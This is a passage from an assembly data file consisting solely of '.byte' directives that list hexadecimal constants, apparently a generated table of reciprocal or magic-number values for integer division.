0x00, 0x2e, 0xd8, 0x82, 0x2d, 0xd8, 0x02 .byte 0x17, 0x6c, 0xc1, 0x16, 0x6c, 0xc1, 0x16, 0x6c .byte 0x07, 0x00, 0x2e, 0xd0, 0x02, 0x2d, 0xd0, 0x02 .byte 0x17, 0x68, 0x81, 0x16, 0x68, 0x81, 0x16, 0x68 .byte 0x07, 0x00, 0x65, 0x21, 0x0b, 0x59, 0xc8, 0x02 .byte 0xc9, 0x42, 0x16, 0xb2, 0x90, 0x85, 0x2c, 0x64 .byte 0x07, 0x00, 0x03, 0x0b, 0x2c, 0xb0, 0xc0, 0x02 .byte 0x17, 0x58, 0x60, 0x81, 0x05, 0x16, 0x58, 0x60 .byte 0x07, 0x00, 0x63, 0x72, 0x05, 0x31, 0xb9, 0x02 .byte 0x63, 0x72, 0x05, 0x31, 0xb9, 0x82, 0x98, 0x5c .byte 0x07, 0x00, 0x2c, 0x10, 0x46, 0xda, 0xb1, 0x02 .byte 0x31, 0xd2, 0x8e, 0x15, 0x08, 0x23, 0xed, 0x58 .byte 0x07, 0x00, 0xab, 0xaa, 0xaa, 0xaa, 0xaa, 0x02 .byte 0x56, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 .byte 0x07, 0x00, 0x60, 0x5c, 0xfd, 0xa0, 0xa3, 0x02 .byte 0xd1, 0x51, 0x81, 0x2f, 0xae, 0x7e, 0xd0, 0x51 .byte 0x07, 0x00, 0xe1, 0xe5, 0x14, 0xbc, 0x9c, 0x02 .byte 0x83, 0x97, 0x53, 0xf0, 0x72, 0x0a, 0x5e, 0x4e .byte 0x07, 0x00, 0x58, 0x0a, 0xd4, 0xfa, 0x95, 0x02 .byte 0x15, 0xa8, 0xf5, 0x2b, 0x05, 0x6a, 0xfd, 0x4a .byte 0x07, 0x00, 0xc3, 0xf5, 0x28, 0x5c, 0x8f, 0x02 .byte 0x15, 0xae, 0x47, 0xe1, 0x7a, 0x14, 0xae, 0x47 .byte 0x07, 0x00, 0x5c, 0xac, 0x0c, 0xdf, 0x88, 0x02 .byte 0xe5, 0xae, 0x9f, 0x2d, 0x56, 0x86, 0x6f, 0x44 .byte 0x07, 0x00, 0x83, 0x82, 0x82, 0x82, 0x82, 0x02 .byte 0x42, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41 .byte 0x07, 0x00, 0x96, 0x9c, 0x97, 0x45, 0x7c, 0x02 .byte 0xc5, 0x27, 0x90, 0x4a, 0xce, 0xcb, 0x22, 0x3e .byte 0x07, 0x00, 0x28, 0x76, 0x62, 0x27, 0x76, 0x02 .byte 0x14, 0x3b, 0xb1, 0x13, 0x3b, 0xb1, 0x13, 0x3b .byte 0x07, 0x00, 0x28, 0x70, 0x02, 0x27, 0x70, 0x02 .byte 0x14, 0x38, 0x81, 0x13, 0x38, 0x81, 0x13, 0x38 .byte 0x07, 0x00, 0x70, 0x65, 0x9f, 0x43, 0x6a, 0x02 .byte 0x53, 0x13, 0x8c, 0xb7, 0xb2, 0xcf, 0x21, 0x35 .byte 0x07, 0x00, 0x63, 0x45, 0x69, 0x7c, 0x64, 0x02 .byte 0x6f, 0xf6, 0x0b, 0xb1, 0xa2, 0x34, 0x3e, 0x32 .byte 0x07, 0x00, 0x26, 0xb4, 0x97, 0xd0, 0x5e, 0x02 .byte 0xbe, 0x84, 0xf6, 0x12, 0xda, 0x4b, 0x68, 0x2f .byte 0x07, 0x00, 0x26, 0xb0, 0x69, 0x3f, 0x59, 0x02 .byte 0x4e, 0xfb, 0xc9, 0x12, 0xd8, 0xb4, 0x9f, 0x2c .byte 0x07, 0x00, 0x83, 0x3c, 0x25, 0xc8, 0x53, 0x02 .byte 0x13, 0xe4, 0x29, 0x41, 0x9e, 0x12, 0xe4, 0x29 .byte 0x07, 0x00, 0x25, 0x10, 0x17, 0x6a, 0x4e, 0x02 .byte 0xb9, 0x50, 0x73, 0x12, 0x88, 0x0b, 0x35, 0x27 .byte 0x07, 0x00, 0x25, 0x49, 0x92, 0x24, 0x49, 0x02 .byte 0x93, 0x24, 0x49, 0x92, 0x24, 0x49, 0x92, 0x24 .byte 0x07, 0x00, 0x40, 0x24, 0xf0, 0xf6, 0x43, 0x02 .byte 0x22, 0x81, 0xb7, 0x1f, 0x12, 0x78, 0xfb, 0x21 .byte 0x07, 0x00, 0x24, 0xb8, 0x8f, 0xe0, 0x3e, 0x02 .byte 0x7e, 0x04, 0xf7, 0x11, 0xdc, 0x47, 0x70, 0x1f .byte 0x07, 0x00, 0x51, 0xb4, 0xd5, 0xe0, 0x39, 0x02 .byte 0x07, 0xcf, 0x11, 0x28, 0xda, 0x6a, 0xf0, 0x1c .byte 0x07, 0x00, 0x50, 0x23, 0x2c, 0xf7, 0x34, 0x02 .byte 0x1b, 0x61, 0xb9, 0xa7, 0x11, 0x96, 0x7b, 0x1a .byte 0x07, 0x00, 0x24, 0x30, 0x02, 0x23, 0x30, 0x02 .byte 0x12, 0x18, 0x81, 0x11, 0x18, 0x81, 0x11, 0x18 .byte 0x07, 0x00, 0xa5, 0xee, 0xcb, 0x63, 0x2b, 0x02 .byte 0x46, 0xd0, 0x70, 0x52, 0xf7, 0xe5, 0xb1, 0x15 .byte 0x07, 0x00, 0xba, 0x26, 0x02, 0xb9, 0x26, 0x02 .byte 0x5d, 0x13, 0x81, 0x5c, 0x13, 0x81, 0x5c, 0x13 .byte 0x07, 0x00, 0x23, 0x22, 0x22, 0x22, 0x22, 0x02 .byte 0x12, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11 .byte 0x07, 0x00, 0xd4, 0x7c, 0xad, 0x9e, 0x1d, 0x02 .byte 0xe3, 0xfd, 0xc8, 0x69, 0xbe, 0x56, 0xcf, 0x0e .byte 0x07, 0x00, 0x9c, 0xf7, 0x29, 0x2e, 0x19, 0x02 .byte 0x11, 0xac, 0xa3, 0xcd, 0xfb, 0x14, 0x97, 0x0c .byte 0x07, 0x00, 0x03, 0x4d, 0x21, 0xd0, 0x14, 0x02 .byte 0x11, 0x68, 0x0a, 0x81, 0xa6, 0x10, 0x68, 0x0a .byte 0x07, 0x00, 0x43, 0x08, 0x21, 0x84, 0x10, 0x02 .byte 0x11, 0x42, 0x08, 0x21, 0x84, 0x10, 0x42, 0x08 .byte 0x07, 0x00, 0x36, 0x5e, 0xba, 0x49, 0x0c, 0x02 .byte 0x77, 0xbe, 0x9f, 0x1a, 0x2f, 0xdd, 0x24, 0x06 .byte 0x07, 0x00, 0x21, 0x08, 0x82, 0x20, 0x08, 0x02 .byte 0x11, 0x04, 0x41, 0x10, 0x04, 0x41, 0x10, 0x04 .byte 0x07, 0x00, 0x41, 0x20, 0x10, 0x08, 0x04, 0x02 .byte 0x03, 0x81, 0x40, 0x20, 0x10, 0x08, 0x04, 0x02 .byte 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80 .byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 .byte 0x08, 0x00, 0xc1, 0x1f, 0xf0, 0x07, 0xfc, 0x01 .byte 0xfd, 0x01, 0x7f, 0xc0, 0x1f, 0xf0, 0x07, 0xfc .byte 0x08, 0x00, 0x20, 0xf8, 0x81, 0x1f, 0xf8, 0x01 .byte 0x20, 0xf8, 0x81, 0x1f, 0xf8, 0x81, 0x1f, 0xf8 .byte 0x08, 0x00, 0xa5, 0xe4, 0x59, 0x46, 0xf4, 0x01 .byte 0x80, 0x15, 0x27, 0xa4, 0xe4, 0x59, 0x46, 0xf4 .byte 0x08, 0x00, 0xc2, 0x07, 0x1f, 0x7c, 0xf0, 0x01 .byte 0x20, 0x7c, 0xf0, 0xc1, 0x07, 0x1f, 0x7c, 0xf0 .byte 0x08, 0x00, 0x1f, 0x30, 0x7b, 0xc0, 0xec, 0x01 .byte 0xb4, 0x07, 0xcc, 0x1e, 0x30, 0x7b, 0xc0, 0xec .byte 0x08, 0x00, 0x0c, 0xbf, 0x1a, 0x13, 0xe9, 0x01 .byte 0xa1, 0x72, 0x76, 0x0b, 0xbf, 0x1a, 0x13, 0xe9 .byte 0x08, 0x00, 0x1f, 0x90, 0xac, 0x73, 0xe5, 0x01 .byte 0xca, 0x3a, 0x57, 0x1e, 0x90, 0xac, 0x73, 0xe5 .byte 0x08, 0x00, 0xe2, 0xe1, 0xe1, 0xe1, 0xe1, 0x01 .byte 0xe2, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1 .byte 0x08, 0x00, 0x89, 0x3f, 0x6e, 0x5d, 0xde, 0x01 .byte 0x71, 0xa4, 0x68, 0x88, 0x3f, 0x6e, 0x5d, 0xde .byte 0x08, 0x00, 0x99, 0x6b, 0x07, 0xe6, 0xda, 0x01 .byte 0x61, 0xae, 0x1d, 0x98, 0x6b, 0x07, 0xe6, 0xda .byte 0x08, 0x00, 0x83, 0x4b, 0x65, 0x7b, 0xd7, 0x01 .byte 0x18, 0x39, 0xc3, 0x82, 0x4b, 0x65, 0x7b, 0xd7 .byte 0x08, 0x00, 0x1e, 0xd4, 0x41, 0x1d, 0xd4, 0x01 .byte 0x1e, 0xd4, 0x41, 0x1d, 0xd4, 0x41, 0x1d, 0xd4 .byte 0x08, 0x00, 0xed, 0xf6, 0x58, 0xcb, 0xd0, 0x01 .byte 0x2e, 0x43, 0x07, 0xec, 0xf6, 0x58, 0xcb, 0xd0 .byte 0x08, 0x00, 0x3a, 0x90, 0x68, 0x85, 0xcd, 0x01 .byte 0x13, 0xad, 0xb0, 0x39, 0x90, 0x68, 0x85, 0xcd .byte 0x08, 0x00, 0xef, 0x55, 0x30, 0x4b, 0xca, 0x01 .byte 0x1d, 0x10, 0x19, 0xee, 0x55, 0x30, 0x4b, 0xca .byte 0x08, 0x00, 0x1d, 0xc7, 0x71, 0x1c, 0xc7, 0x01 .byte 0x1d, 0xc7, 0x71, 0x1c, 0xc7, 0x71, 0x1c, 0xc7 .byte 0x08, 0x00, 0x40, 0x1c, 0xf0, 0xf8, 0xc3, 0x01 .byte 0xc4, 0x01, 0x8f, 0x3f, 0x1c, 0xf0, 0xf8, 0xc3 .byte 0x08, 0x00, 0x1d, 0x38, 0x70, 0xe0, 0xc0, 0x01 .byte 0x04, 0x07, 0x0e, 0x1c, 0x38, 0x70, 0xe0, 0xc0 .byte 0x08, 0x00, 0x41, 0x99, 0xb8, 0xd2, 0xbd, 0x01 .byte 0xaf, 0x74, 0x6f, 0x40, 0x99, 0xb8, 0xd2, 0xbd .byte 0x08, 0x00, 0x1c, 0x4c, 0x91, 0xcf, 0xba, 0x01 .byte 0x15, 0xf9, 0xac, 0x1b, 0x4c, 0x91, 0xcf, 0xba .byte 0x08, 0x00, 0xa4, 0xdd, 0xc3, 0xd6, 0xb7, 0x01 .byte 0xb0, 0xb2, 0x38, 0xa3, 0xdd, 0xc3, 0xd6, 0xb7 .byte 0x08, 0x00, 0x82, 0x4e, 0x1b, 0xe8, 0xb4, 0x01 .byte 0x1c, 0xe8, 0xb4, 0x81, 0x4e, 0x1b, 0xe8, 0xb4 .byte 0x08, 0x00, 0xc9, 0x06, 0x64, 0x03, 0xb2, 0x01 .byte 0x1c, 0x90, 0x0d, 0xc8, 0x06, 0x64, 0x03, 0xb2 .byte 0x08, 0x00, 0x1b, 0xca, 0x6b, 0x28, 0xaf, 0x01 .byte 0xbd, 0x86, 0xf2, 0x1a, 0xca, 0x6b, 0x28, 0xaf .byte 0x08, 0x00, 0x58, 0xac, 0x01, 0x57, 0xac, 0x01 .byte 0x58, 0xac, 0x01, 0x57, 0xac, 0x01, 0x57, 0xac .byte 0x08, 0x00, 0xa7, 0x06, 0xf6, 0x8e, 0xa9, 0x01 .byte 0x1b, 0xd8, 0x3b, 0xa6, 0x06, 0xf6, 0x8e, 0xa9 .byte 0x08, 0x00, 0x02, 0x6d, 0x1a, 0xd0, 0xa6, 0x01 .byte 0x1b, 0xd0, 0xa6, 0x01, 0x6d, 0x1a, 0xd0, 0xa6 .byte 0x08, 0x00, 0x1b, 0xa4, 0x41, 0x1a, 0xa4, 0x01 .byte 0x1b, 0xa4, 0x41, 0x1a, 0xa4, 0x41, 0x1a, 0xa4 .byte 0x08, 0x00, 0xa5, 0x97, 0x3f, 0x6d, 0xa1, 0x01 .byte 0x17, 0x1a, 0xb0, 0xa4, 0x97, 0x3f, 0x6d, 0xa1 .byte 0x08, 0x00, 0x04, 0x51, 0xe9, 0xc8, 0x9e, 0x01 .byte 0xd3, 0x91, 0x3d, 0x03, 0x51, 0xe9, 0xc8, 0x9e .byte 0x08, 0x00, 0x4b, 0xee, 0x14, 0x2d, 0x9c, 0x01 .byte 0xc3, 0x19, 0x10, 0x4a, 0xee, 0x14, 0x2d, 0x9c .byte 0x08, 0x00, 0x9a, 0x99, 0x99, 0x99, 0x99, 0x01 .byte 0x9a, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99 .byte 0x08, 0x00, 0xcc, 0x80, 0x4f, 0x0e, 0x97, 0x01 .byte 0xc1, 0x27, 0x87, 0xcb, 0x80, 0x4f, 0x0e, 0x97 .byte 0x08, 0x00, 0x6f, 0xcd, 0x0f, 0x8b, 0x94, 0x01 .byte 0x53, 0x06, 0x9e, 0x6e, 0xcd, 0x0f, 0x8b, 0x94 .byte 0x08, 0x00, 0x0f, 0x9d, 0xb4, 0x0f, 0x92, 0x01 .byte 0x5a, 0x8d, 0x22, 0x0e, 0x9d, 0xb4, 0x0f, 0x92 .byte 0x08, 0x00, 0xc2, 0xf9, 0x18, 0x9c, 0x8f, 0x01 .byte 0x19, 0x9c, 0x8f, 0xc1, 0xf9, 0x18, 0x9c, 0x8f .byte 0x08, 0x00, 0x02, 0xd3, 0x18, 0x30, 0x8d, 0x01 .byte 0x19, 0x30, 0x8d, 0x01, 0xd3, 0x18, 0x30, 0x8d .byte 0x08, 0x00, 0xc0, 0xf6, 0x90, 0xcb, 0x8a, 0x01 .byte 0x38, 0x9a, 0x3a, 0xbf, 0xf6, 0x90, 0xcb, 0x8a .byte 0x08, 0x00, 0xbc, 0x0a, 0x5f, 0x6e, 0x88, 0x01 .byte 0x4c, 0x99, 0x04, 0xbb, 0x0a, 0x5f, 0x6e, 0x88 .byte 0x08, 0x00, 0x19, 0x86, 0x61, 0x18, 0x86, 0x01 .byte 0x19, 0x86, 0x61, 0x18, 0x86, 0x61, 0x18, 0x86 .byte 0x08, 0x00, 0x2c, 0xab, 0x77, 0xc9, 0x83, 0x01 .byte 0x8f, 0xd2, 0xed, 0x2b, 0xab, 0x77, 0xc9, 0x83 .byte 0x08, 0x00, 0x82, 0x81, 0x81, 0x81, 0x81, 0x01 .byte 0x82, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81 .byte 0x08, 0x00, 0x18, 0xd0, 0x5f, 0x40, 0x7f, 0x01 .byte 0xfe, 0x05, 0xf4, 0x17, 0xd0, 0x5f, 0x40, 0x7f .byte 0x08, 0x00, 0xd1, 0x17, 0xf4, 0x05, 0x7d, 0x01 .byte 0x7e, 0x41, 0x5f, 0xd0, 0x17, 0xf4, 0x05, 0x7d .byte 0x08, 0x00, 0x0f, 0x8e, 0x20, 0xd2, 0x7a, 0x01 .byte 0x46, 0x35, 0xcc, 0x0e, 0x8e, 0x20, 0xd2, 0x7a .byte 0x08, 0x00, 0x8b, 0x17, 0xc8, 0xa4, 0x78, 0x01 .byte 0x79, 0x81, 0x4c, 0x8a, 0x17, 0xc8, 0xa4, 0x78 .byte 0x08, 0x00, 0x4b, 0x43, 0xce, 0x7d, 0x76, 0x01 .byte 0x18, 0x10, 0x9b, 0x4a, 0x43, 0xce, 0x7d, 0x76 .byte 0x08, 0x00, 0xd2, 0x45, 0x17, 0x5d, 0x74, 0x01 .byte 0x18, 0x5d, 0x74, 0xd1, 0x45, 0x17, 0x5d, 0x74 .byte 0x08, 0x00, 0x6e, 0xf4, 0x87, 0x42, 0x72, 0x01 .byte 0x5d, 0xc0, 0xeb, 0x6d, 0xf4, 0x87, 0x42, 0x72 .byte 0x08, 0x00, 0xb9, 0xc0, 0x05, 0x2e, 0x70, 0x01 .byte 0xe1, 0x02, 0x17, 0xb8, 0xc0, 0x05, 0x2e, 0x70 .byte 0x08, 0x00, 0x34, 0xb4, 0x76, 0x1f, 0x6e, 0x01 .byte 0xb2, 0x6c, 0x7c, 0x33, 0xb4, 0x76, 0x1f, 0x6e .byte 0x08, 0x00, 0x17, 0x6c, 0xc1, 0x16, 0x6c, 0x01 .byte 0x17, 0x6c, 0xc1, 0x16, 0x6c, 0xc1, 0x16, 0x6c .byte 0x08, 0x00, 0x38, 0x15, 0xcd, 0x13, 0x6a, 0x01 .byte 0x3f, 0x04, 0x29, 0x37, 0x15, 0xcd, 0x13, 0x6a .byte 0x08, 0x00, 0x17, 0x68, 0x81, 0x16, 0x68, 0x01 .byte 0x17, 0x68, 0x81, 0x16, 0x68, 0x81, 0x16, 0x68 .byte 0x08, 0x00, 0x13, 0xa5, 0xc6, 0x1e, 0x66, 0x01 .byte 0x17, 0x90, 0x2f, 0x12, 0xa5, 0xc6, 0x1e, 0x66 .byte 0x08, 0x00, 0xb3, 0x90, 0x85, 0x2c, 0x64, 0x01 .byte 0xc9, 0x42, 0x16, 0xb2, 0x90, 0x85, 0x2c, 0x64 .byte 0x08, 0x00, 0x17, 0x70, 0xa7, 0x3f, 0x62, 0x01 .byte 0x78, 0xfa, 0x23, 0x16, 0x70, 0xa7, 0x3f, 0x62 .byte 0x08, 0x00, 0x82, 0x05, 0x16, 0x58, 0x60, 0x01 .byte 0x17, 0x58, 0x60, 0x81, 0x05, 0x16, 0x58, 0x60 .byte 0x08, 0x00, 0x02, 0x8d, 0xbb, 0x75, 0x5e, 0x01 .byte 0xbc, 0x75, 0x5e, 0x01, 0x8d, 0xbb, 0x75, 0x5e .byte 0x08, 0x00, 0x32, 0xb9, 0x82, 0x98, 0x5c, 0x01 .byte 0x63, 0x72, 0x05, 0x31, 0xb9, 0x82, 0x98, 0x5c .byte 0x08, 0x00, 0x16, 0xb0, 0x56, 0xc0, 0x5a, 0x01 .byte 0x6c, 0x05, 0xac, 0x15, 0xb0, 0x56, 0xc0, 0x5a .byte 0x08, 0x00, 0x16, 0x08, 0x23, 0xed, 0x58, 0x01 .byte 0x31, 0xd2, 0x8e, 0x15, 0x08, 0x23, 0xed, 0x58 .byte 0x08, 0x00, 0x07, 0xc5, 0xd3, 0x1e, 0x57, 0x01 .byte 0x23, 0x9a, 0xb3, 0x06, 0xc5, 0xd3, 0x1e, 0x57 .byte 0x08, 0x00, 0x56, 0x55, 0x55, 0x55, 0x55, 0x01 .byte 0x56, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 .byte 0x08, 0x00, 0x41, 0x8f, 0x94, 0x90, 0x53, 0x01 .byte 0x70, 0xac, 0xfe, 0x40, 0x8f, 0x94, 0x90, 0x53 .byte 0x08, 0x00, 0x30, 0xae, 0x7e, 0xd0, 0x51, 0x01 .byte 0xd1, 0x51, 0x81, 0x2f, 0xae, 0x7e, 0xd0, 0x51 .byte 0x08, 0x00, 0x16, 0x50, 0x01, 0x15, 0x50, 0x01 .byte 0x16, 0x50, 0x01, 0x15, 0x50, 0x01, 0x15, 0x50 .byte 0x08, 0x00, 0xf1, 0x72, 0x0a, 0x5e, 0x4e, 0x01 .byte 0x83, 0x97, 0x53, 0xf0, 0x72, 0x0a, 0x5e, 0x4e .byte 0x08, 0x00, 0x5b, 0x72, 0x88, 0xab, 0x4c, 0x01 .byte 0x50, 0xe7, 0xf6, 0x5a, 0x72, 0x88, 0xab, 0x4c .byte 0x08, 0x00, 0x2c, 0x05, 0x6a, 0xfd, 0x4a, 0x01 .byte 0x15, 0xa8, 0xf5, 0x2b, 0x05, 0x6a, 0xfd, 0x4a .byte 0x08, 0x00, 0x2e, 0x3b, 0x9e, 0x53, 0x49, 0x01 .byte 0xa3, 0x6e, 0x06, 0x2d, 0x3b, 0x9e, 0x53, 0x49 .byte 0x08, 0x00, 0xe2, 0x7a, 0x14, 0xae, 0x47, 0x01 .byte 0x15, 0xae, 0x47, 0xe1, 0x7a, 0x14, 0xae, 0x47 .byte 0x08, 0x00, 0x5d, 0x7f, 0xbc, 0x0c, 0x46, 0x01 .byte 0xc1, 0xa1, 0xf9, 0x5c, 0x7f, 0xbc, 0x0c, 0x46 .byte 0x08, 0x00, 0x2e, 0x56, 0x86, 0x6f, 0x44, 0x01 .byte 0xe5, 0xae, 0x9f, 0x2d, 0x56, 0x86, 0x6f, 0x44 .byte 0x08, 0x00, 0x52, 0x5d, 0x62, 0xd6, 0x42, 0x01 .byte 0xfa, 0x6e, 0xf8, 0x51, 0x5d, 0x62, 0xd6, 0x42 .byte 0x08, 0x00, 0x42, 0x41, 0x41, 0x41, 0x41, 0x01 .byte 0x42, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41 .byte 0x08, 0x00, 0x02, 0xfb, 0x13, 0xb0, 0x3f, 0x01 .byte 0x14, 0xb0, 0x3f, 0x01, 0xfb, 0x13, 0xb0, 0x3f .byte 0x08, 0x00, 0x4b, 0xce, 0xcb, 0x22, 0x3e, 0x01 .byte 0xc5, 0x27, 0x90, 0x4a, 0xce, 0xcb, 0x22, 0x3e .byte 0x08, 0x00, 0xbb, 0x47, 0x5a, 0x99, 0x3c, 0x01 .byte 0x41, 0x74, 0xbe, 0xba, 0x47, 0x5a, 0x99, 0x3c .byte 0x08, 0x00, 0x14, 0x3b, 0xb1, 0x13, 0x3b, 0x01 .byte 0x14, 0x3b, 0xb1, 0x13, 0x3b, 0xb1, 0x13, 0x3b .byte 0x08, 0x00, 0x88, 0xc1, 0xc2, 0x91, 0x39, 0x01 .byte 0x72, 0x33, 0xf6, 0x87, 0xc1, 0xc2, 0x91, 0x39 .byte 0x08, 0x00, 0x14, 0x38, 0x81, 0x13, 0x38, 0x01 .byte 0x14, 0x38, 0x81, 0x13, 0x38, 0x81, 0x13, 0x38 .byte 0x08, 0x00, 0xe1, 0x3d, 0xdf, 0x98, 0x36, 0x01 .byte 0x54, 0x79, 0x74, 0xe0, 0x3d, 0xdf, 0x98, 0x36 .byte 0x08, 0x00, 0xb8, 0xb2, 0xcf, 0x21, 0x35, 0x01 .byte 0x53, 0x13, 0x8c, 0xb7, 0xb2, 0xcf, 0x21, 0x35 .byte 0x08, 0x00, 0x7c, 0xb5, 0x45, 0xae, 0x33, 0x01 .byte 0x0d, 0x1e, 0xcb, 0x7b, 0xb5, 0x45, 0xae, 0x33 .byte 0x08, 0x00, 0xb2, 0xa2, 0x34, 0x3e, 0x32, 0x01 .byte 0x6f, 0xf6, 0x0b, 0xb1, 0xa2, 0x34, 0x3e, 0x32 .byte 0x08, 0x00, 0x0e, 0x13, 0x90, 0xd1, 0x30, 0x01 .byte 0x31, 0x01, 0x19, 0x0d, 0x13, 0x90, 0xd1, 0x30 .byte 0x08, 0x00, 0x13, 0xda, 0x4b, 0x68, 0x2f, 0x01 .byte 0xbe, 0x84, 0xf6, 0x12, 0xda, 0x4b, 0x68, 0x2f .byte 0x08, 0x00, 0xb9, 0x04, 0x5c, 0x02, 0x2e, 0x01 .byte 0x13, 0x70, 0x09, 0xb8, 0x04, 0x5c, 0x02, 0x2e .byte 0x08, 0x00, 0x13, 0xd8, 0xb4, 0x9f, 0x2c, 0x01 .byte 0x4e, 0xfb, 0xc9, 0x12, 0xd8, 0xb4, 0x9f, 0x2c .byte 0x08, 0x00, 0x13, 0xd0, 0x4a, 0x40, 0x2b, 0x01 .byte 0xae, 0x04, 0xb4, 0x12, 0xd0, 0x4a, 0x40, 0x2b .byte 0x08, 0x00, 0x42, 0x9e, 0x12, 0xe4, 0x29, 0x01 .byte 0x13, 0xe4, 0x29, 0x41, 0x9e, 0x12, 0xe4, 0x29 .byte 0x08, 0x00, 0x8c, 0x28, 0x01, 0x8b, 0x28, 0x01 .byte 0x8c, 0x28, 0x01, 0x8b, 0x28, 0x01, 0x8b, 0x28 .byte 0x08, 0x00, 0x13, 0x88, 0x0b, 0x35, 0x27, 0x01 .byte 0xb9, 0x50, 0x73, 0x12, 0x88, 0x0b, 0x35, 0x27 .byte 0x08, 0x00, 0x0a, 0x08, 0x27, 0xe2, 0x25, 0x01 .byte 0x39, 0x11, 0x2f, 0x09, 0x08, 0x27, 0xe2, 0x25 .byte 0x08, 0x00, 0x93, 0x24, 0x49, 0x92, 0x24, 0x01 .byte 0x93, 0x24, 0x49, 0x92, 0x24, 0x49, 0x92, 0x24 .byte 0x08, 0x00, 0xac, 0x89, 0x67, 0x45, 0x23, 0x01 .byte 0x13, 0xf0, 0xcd, 0xab, 0x89, 0x67, 0x45, 0x23 .byte 0x08, 0x00, 0x20, 0x12, 0x78, 0xfb, 0x21, 0x01 .byte 0x22, 0x81, 0xb7, 0x1f, 0x12, 0x78, 0xfb, 0x21 .byte 0x08, 0x00, 0x7d, 0xc6, 0x70, 0xb4, 0x20, 0x01 .byte 0x76, 0x88, 0x0d, 0x7c, 0xc6, 0x70, 0xb4, 0x20 .byte 0x08, 0x00, 0x12, 0xdc, 0x47, 0x70, 0x1f, 0x01 .byte 0x7e, 0x04, 0xf7, 0x11, 0xdc, 0x47, 0x70, 0x1f .byte 0x08, 0x00, 0xfc, 0xb3, 0xf3, 0x2e, 0x1e, 0x01 .byte 0x32, 0x44, 0x87, 0xfb, 0xb3, 0xf3, 0x2e, 0x1e .byte 0x08, 0x00, 0x29, 0xda, 0x6a, 0xf0, 0x1c, 0x01 .byte 0x07, 0xcf, 0x11, 0x28, 0xda, 0x6a, 0xf0, 0x1c .byte 0x08, 0x00, 0x6f, 0x04, 0xa4, 0xb4, 0x1b, 0x01 .byte 0x12, 0x90, 0xd2, 0x6e, 0x04, 0xa4, 0xb4, 0x1b .byte 0x08, 0x00, 0xa8, 0x11, 0x96, 0x7b, 0x1a, 0x01 .byte 0x1b, 0x61, 0xb9, 0xa7, 0x11, 0x96, 0x7b, 0x1a .byte 0x08, 0x00, 0xcb, 0x08, 0x38, 0x45, 0x19, 0x01 .byte 0x47, 0xc0, 0x29, 0xca, 0x08, 0x38, 0x45, 0x19 .byte 0x08, 0x00, 0x12, 0x18, 0x81, 0x11, 0x18, 0x01 .byte 0x12, 0x18, 0x81, 0x11, 0x18, 0x81, 0x11, 0x18 .byte 0x08, 0x00, 0x28, 0x94, 0x68, 0xe0, 0x16, 0x01 .byte 0xb5, 0x8e, 0x37, 0x27, 0x94, 0x68, 0xe0, 0x16 .byte 0x08, 0x00, 0x53, 0xf7, 0xe5, 0xb1, 0x15, 0x01 .byte 0x46, 0xd0, 0x70, 0x52, 0xf7, 0xe5, 0xb1, 0x15 .byte 0x08, 0x00, 0xad, 0xe0, 0xf0, 0x85, 0x14, 0x01 .byte 0x8d, 0xb6, 0xd3, 0xac, 0xe0, 0xf0, 0x85, 0x14 .byte 0x08, 0x00, 0x5d, 0x13, 0x81, 0x5c, 0x13, 0x01 .byte 0x5d, 0x13, 0x81, 0x5c, 0x13, 0x81, 0x5c, 0x13 .byte 0x08, 0x00, 0xd4, 0x75, 0x8e, 0x35, 0x12, 0x01 .byte 0xa1, 0x36, 0x03, 0xd3, 0x75, 0x8e, 0x35, 0x12 .byte 0x08, 0x00, 0x12, 0x11, 0x11, 0x11, 0x11, 0x01 .byte 0x12, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11 .byte 0x08, 0x00, 0xf0, 0x0f, 0x01, 0xef, 0x0f, 0x01 .byte 0xf0, 0x0f, 0x01, 0xef, 0x0f, 0x01, 0xef, 0x0f .byte 0x08, 0x00, 0x6a, 0xbe, 0x56, 0xcf, 0x0e, 0x01 .byte 0xe3, 0xfd, 0xc8, 0x69, 0xbe, 0x56, 0xcf, 0x0e .byte 0x08, 0x00, 0xf5, 0x88, 0x0a, 0xb2, 0x0d, 0x01 .byte 0x8d, 0x59, 0x69, 0xf4, 0x88, 0x0a, 0xb2, 0x0d .byte 0x08, 0x00, 0xce, 0xfb, 0x14, 0x97, 0x0c, 0x01 .byte 0x11, 0xac, 0xa3, 0xcd, 0xfb, 0x14, 0x97, 0x0c .byte 0x08, 0x00, 0x5a, 0xc2, 0x6e, 0x7e, 0x0b, 0x01 .byte 0x36, 0x79, 0xdc, 0x59, 0xc2, 0x6e, 0x7e, 0x0b .byte 0x08, 0x00, 0x82, 0xa6, 0x10, 0x68, 0x0a, 0x01 .byte 0x11, 0x68, 0x0a, 0x81, 0xa6, 0x10, 0x68, 0x0a .byte 0x08, 0x00, 0x11, 0x90, 0xf3, 0x53, 0x09, 0x01 .byte 0x3a, 0x3f, 0x95, 0x10, 0x90, 0xf3, 0x53, 0x09 .byte 0x08, 0x00, 0x22, 0x84, 0x10, 0x42, 0x08, 0x01 .byte 0x11, 0x42, 0x08, 0x21, 0x84, 0x10, 0x42, 0x08 .byte 0x08, 0x00, 0x80, 0xa4, 0x60, 0x32, 0x07, 0x01 .byte 0xd0, 0x66, 0x7c, 0x7f, 0xa4, 0x60, 0x32, 0x07 .byte 0x08, 0x00, 0x1b, 0x2f, 0xdd, 0x24, 0x06, 0x01 .byte 0x77, 0xbe, 0x9f, 0x1a, 0x2f, 0xdd, 0x24, 0x06 .byte 0x08, 0x00, 0x74, 0x7d, 0x7f, 0x19, 0x05, 0x01 .byte 0x47, 0x41, 0x40, 0x73, 0x7d, 0x7f, 0x19, 0x05 .byte 0x08, 0x00, 0x11, 0x04, 0x41, 0x10, 0x04, 0x01 .byte 0x11, 0x04, 0x41, 0x10, 0x04, 0x41, 0x10, 0x04 .byte 0x08, 0x00, 0xf6, 0x51, 0x1b, 0x09, 0x03, 0x01 .byte 0xef, 0xa4, 0xe1, 0xf5, 0x51, 0x1b, 0x09, 